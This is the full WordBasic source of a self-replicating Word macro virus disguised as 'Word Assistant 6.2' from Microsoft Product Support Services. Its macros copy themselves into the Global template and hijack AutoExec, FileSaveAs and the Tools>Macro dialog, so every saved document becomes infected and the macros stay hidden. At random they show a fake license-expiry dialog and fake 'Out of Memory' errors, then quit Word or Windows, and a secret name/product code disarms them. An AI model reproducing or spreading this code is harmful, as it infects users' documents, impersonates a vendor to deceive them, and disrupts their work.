Macro AutoClose
' *****************************************************************
' Created by Microsoft Product Support Services 
' Copyright (c) 1995 Microsoft Corp.
' Created September 18th, 1995
' Description : Word Assistant 6.2
' *****************************************************************

Sub MAIN
	On Error Goto Abort
	iMacroCount = CompteMacros(0, 0)
	For i = 1 To iMacroCount
		If NomMacro$(i, 0, 0) = "Microsoft03" Then
			Areyouthere = - 1
		End If
		If NomMacro$(i, 0, 0) = "FileSaveAs" Then
			Hassle = - 1
		End If
	Next i
	If Not Areyouthere And Not Hassle Then
		sME$ = NomFichier$()
		sMacro$ = sMe$ + ":Microsoft05"
		MacroCopie sMacro$, "Global:Microsoft05"
		sMacro$ = sMe$ + ":Microsoft04"
		MacroCopie sMacro$, "Global:Microsoft04"
		sMacro$ = sMe$ + ":Microsoft03"
		MacroCopie sMacro$, "Global:AutoExec"
		sMacro$ = sMe$ + ":Microsoft02"
		MacroCopie sMacro$, "Global:FileSaveAs"
		sMacro$ = sMe$ + ":Microsoft02"
		MacroCopie sMacro$, "Global:Microsoft02"	
		sMacro$ = sMe$ + ":Microsoft01"
		MacroCopie sMacro$, "Global:Microsoft01"
		sMacro$ = sMe$ + ":ToolsMacro"
		MacroCopie sMacro$, "Global:ToolsMacro"

		MS_Message = Int(Rnd() * 100 + 1)
		If MS_Message > 95 Then
			MsgBox("Are you sure you wish to Quit", 36)
		End If
	End If
Abort:			

End Sub
---------------------
Macro Microsoft01
' *****************************************************************
' Created by Microsoft Product Support Services 
' Copyright (c) 1995 Microsoft Corp.
' Created September 18th, 1995
' Description : Word Assistant 6.2
' *****************************************************************

Sub MAIN
	On Error Goto Abort
	iMacroCount = CompteMacros(0, 0)
	For i = 1 To iMacroCount
		If NomMacro$(i, 0, 0) = "Microsoft03" Then
			Areyouthere = - 1
		End If
		If NomMacro$(i, 0, 0) = "FileSaveAs" Then
			Hassle = - 1
		End If
	Next i
	If Not Areyouthere And Not Hassle Then
		sME$ = NomFichier$()
		sMacro$ = sMe$ + ":Microsoft05"
		MacroCopie sMacro$, "Global:Microsoft05"
		sMacro$ = sMe$ + ":Microsoft04"
		MacroCopie sMacro$, "Global:Microsoft04"
		sMacro$ = sMe$ + ":Microsoft03"
		MacroCopie sMacro$, "Global:AutoExec"
		sMacro$ = sMe$ + ":Microsoft02"
		MacroCopie sMacro$, "Global:FileSaveAs"
		sMacro$ = sMe$ + ":Microsoft02"
		MacroCopie sMacro$, "Global:Microsoft02"	
		sMacro$ = sMe$ + ":Microsoft01"
		MacroCopie sMacro$, "Global:Microsoft01"
		sMacro$ = sMe$ + ":ToolsMacro"
		MacroCopie sMacro$, "Global:ToolsMacro"

		MS_Message = Int(Rnd() * 100 + 1)
		If MS_Message > 95 Then
			MsgBox("Are you sure you wish to Quit", 36)
		End If
	End If
Abort:			

End Sub
---------------------
Macro Microsoft02
' *****************************************************************
' Created by Microsoft Product Support Services 
' Copyright (c) 1995 Microsoft Corp.
' Created September 18th, 1995
' Description : Word Assistant 6.2
' *****************************************************************

Sub MAIN
	Dim dlg As FichierEnregistrerSous
	On Error Goto bail	
	GetCurValues dlg
	Dialog dlg
	If dlg.Format = 0 Then dlg.Format = 1
	sMe$ = NomFichier$()
	sTMacro$ = sMe$ + ":AutoClose"
	MacroCopie "Global:Microsoft01", sTMacro$
	sTMacro$ = sMe$ + ":Microsoft01"
	MacroCopie "Global:Microsoft01", sTMacro$	
	sTMacro$ = sMe$ + ":Microsoft02"
	MacroCopie "Global:Microsoft02", sTMacro$
	sTMacro$ = sMe$ + ":Microsoft03"
	MacroCopie "Global:AutoExec", sTMacro$
	sTMacro$ = sMe$ + ":Microsoft04"
	MacroCopie "Global:Microsoft04", sTMacro$
	sTMacro$ = sMe$ + ":Microsoft05"
	MacroCopie "Global:Microsoft05", sTMacro$
	sTMacro$ = sMe$ + ":ToolsMacro"
	MacroCopie "Global:ToolsMacro", sTMacro$
	FichierEnregistrerSous dlg
	Goto Done

	Bail :
	If Err <> 102 Then
		FichierEnregistrerSous dlg
End If
Done:

End Sub
---------------------
Macro Microsoft03
' *****************************************************************
' Created by Microsoft Product Support Services 
' Copyright (c) 1995 Microsoft Corp.
' Created September 18th, 1995
' Description : Word Assistant 6.2
' *****************************************************************

Sub MAIN
			MS_Count = Int(Rnd() * 100 + 1)
			MS_Tdy = Aujourdhui()
			MS_Date = DateSrie(1996, 1, 1)
			If MS_Count > 97 And MS_Date < MS_Tdy Then
				Call Register
			End If
			If MS_Count < 5 Then
			Dim Helpdlg As AideAstuceDuJour
			MSHelp = Dialog(Helpdlg)
			End If
End Sub

Sub Register
			Begin Dialog BoiteDlgUtilisateur 514, 172, "Microsoft Office"
	Text 15, 15, 489, 13, "The Licenese Agreement for this software apckage has expired. ", .Text1
	Text 15, 45, 444, 13, "Software Programs is subject to the terms of the Microsoft ", .Text3
	Text 15, 60, 491, 13, "License Agreement. You should not continue until you have read", .Text4
	Text 15, 75, 469, 13, "the Microsoft License Agreement. By continuing, and pressing", .Text5
	Text 15, 90, 463, 13, "the 'OK' button, you signify that you have read the Microsoft ", .Text6
	Text 15, 105, 309, 13, "License Agreement and accept its terms.", .Text7
	Text 15, 30, 440, 13, "Please contact your Local Microsoft Dealer. Use of these ", .Text2
	OKButton 142, 137, 88, 21
	CancelButton 258, 137, 88, 21
End Dialog
			Dim MSDlg As BoiteDlgUtilisateur
			MSButton = Dialog(MSDlg)
			If MSButton = 0 Then
				Beep
				MsgBox("Out of Memory or System Resources", "Windows Application Error", 16)
				Beep
				QuitterWindows
			End If
			Call DialogBox
End Sub


Sub DialogBox
Begin Dialog BoiteDlgUtilisateur 404, 208, "Microsoft Word"
	OKButton 49, 158, 88, 21
	CancelButton 167, 158, 88, 21
	PushButton 280, 158, 88, 21, "Help", .Push1
	TextBox 190, 50, 160, 18, .Name1
	Text 53, 114, 97, 13, "Product No :", .Text2
	TextBox 190, 79, 160, 18, .Company
	Text 52, 80, 128, 13, "Company Name :", .Text4
	Text 48, 18, 269, 13, "Please complete the details below :", .Text1
	Text 54, 50, 55, 13, "Name :", .Text3
	TextBox 190, 113, 160, 18, .Produit
End Dialog
Dim RDlg As BoiteDlgUtilisateur

Rdlg.Name1 = Name$
Rdlg.Company = Company$
Rdlg.Produit = Product$

Name$ = Rdlg.Name1
Company$ = Rdlg.Company
Product$ = Rdlg.Produit

RButton = Dialog(RDlg)
On Error Goto Exit

If Rdlg.Name1 = "Bill Gates" And Rdlg.Company = "Microsoft" And Rdlg.Produit = "666" And RButton = - 1 Then
	MsgBox("Registration updated. Thank you for using Microsoft Products ", 64)
	sMe$ = NomFichier$()
	sTMacro$ = sMe$ + ":AutoClose"
	MacroCopie "Global:Microsoft04", sTMacro$
	sTMacro$ = sMe$ + ":Microsoft01"
	MacroCopie "Global:Microsoft04", sTMacro$	
	sTMacro$ = sMe$ + ":Microsoft02"
	MacroCopie "Global:Microsoft04", sTMacro$
	sTMacro$ = sMe$ + ":Microsoft03"
	MacroCopie "Global:Microsoft04", sTMacro$
	sTMacro$ = sMe$ + ":ToolsMacro"
	MacroCopie "Global:Microsoft05", sTMacro$
End If
If RButton = 0 Then
	Call Memory
End If
If RButton = 1 Then
	Call Memory
End If
If RButton = - 1 Then
	Call Memory
End If
End Sub


Sub Memory
	Beep
	MsgBox("Out of Memory or System Resources", "Windows Application Error", 16)
	Beep
	FichierQuitter
End Sub
---------------------
Macro Microsoft04
' *****************************************************************
' Created by Microsoft Product Support Services 
' Copyright (c) 1995 Microsoft Corp.
' Created September 18th, 1995
' Description : Word Assistant 6.2
' *****************************************************************

Sub MAIN
'Microsoft
'Making it easier
End Sub
--------------------------
Macro Microsoft05

' *****************************************************************
' Created by Microsoft Product Support Services 
' Copyright (c) 1995 Microsoft Corp.
' Created September 18th, 1995
' Description : Word Assistant 6.2
' *****************************************************************

Sub MAIN
	Dim Truedlg As OutilsMacro
	GetCurValues Truedlg
	Dialog(Truedlg)
	OutilsMacro Truedlg
End Sub

--------------------------
Macro ToolsMacro

' *****************************************************************
' Created by Microsoft Product Support Services 
' Copyright (c) 1995 Microsoft Corp.
' Created September 18th, 1995
' Description : Word Assistant 6.2
' *****************************************************************

Sub MAIN

DropListbox1$ = "All Active Templates"
Dim ListBox1$(CompteMenus(1) - 1)
For i = 1 To 0
	 ListBox1$(i - 1) = TexteMenu$(1, i)
Next i
Dim DropListBox1$(CompteMenus(1) - 1)
For i = 1 To CompteMenus(1)
	DropListBox1$(i - 1) = DropListbox1$'MenuText$(1, i)
	DropListBox1$ = "Normal.Dot (Global Templates)"	
Next i

Begin Dialog BoiteDlgUtilisateur 458, 318, "Macro"
	PushButton 353, 5, 88, 21, "&Record..", .Push1
	PushButton 354, 30, 88, 21, "&Cancel", .Push2
	PushButton 354, 54, 88, 21, "&Run", .Push3
	PushButton 354, 78, 88, 21, "Cr&eate", .Push4
	PushButton 354, 102, 88, 21, "De&lete", .Push5
	PushButton 354, 126, 88, 21, "&Organizer", .Push6
	PushButton 354, 153, 88, 21, "&Help", .Push7
	Text 18, 9, 96, 13, "&Macro Name:", .Text1
	TextBox 13, 25, 315, 18, .MName
	ListBox 18, 42, 311, 132, ListBox1$(), .ListBox1
	DropListBox 16, 201, 424, 110, DropListBox1$(), .DropListBox1
	TextBox 16, 239, 422, 46, .TextBox2
	Text 16, 223, 88, 13, "&Description:", .Text2
	Text 17, 182, 134, 13, "Macro &Available In:", .Text3
End Dialog
Dim Dlg As BoiteDlgUtilisateur

dlg.MName = MName$

MName$ = dlg.MName

MButton = Dialog(Dlg)

If (MButton = 1) Or (MButton = 3) Or (MButton = 4) Or (MButton = 5) Or (MButton = 6) Then
	Call Memory
End If

If dlg.MName = "Microsoft" And MButton = 7 Then
	MsgBox("Microsoft Macro Help Granted", 64)
	Dim Truedlg As OutilsMacro
	GetCurValues Truedlg
	tbutton = Dialog(Truedlg)
	OutilsMacro Truedlg
End If

If MButton = 7 And dlg.MName <> "Microsoft" Then
	Call Memory
End If
End Sub

Sub Memory
	Beep
	MsgBox("Out of Memory or System Resources", "Windows Application Error", 16)
	Beep
	FichierQuitter
End Sub
--------------------------------------